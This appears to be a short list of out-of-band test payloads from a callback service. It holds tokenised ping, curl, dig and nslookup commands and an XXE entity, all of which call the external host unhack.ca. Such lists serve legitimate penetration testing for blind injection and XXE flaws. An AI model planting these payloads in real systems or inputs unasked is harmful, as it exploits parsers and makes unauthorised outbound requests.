$ ping -c1 -p 005b68a3e15cff10760d0b28a880e500 unhack.ca
 

$ curl http://unhack.ca/p/5b68a3e15cff10760d0b28a880e5
 

$ dig 5b68a3e15cff10760d0b28a880e5 @unhack.ca
 

$ dig 5b68a3e15cff10760d0b28a880e5.ns.unhack.ca
 

C:\> nslookup 5b68a3e15cff10760d0b28a880e5 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5b68a3e15cff10760d0b28a880e5">]>
    <foo>&xxe;</foo>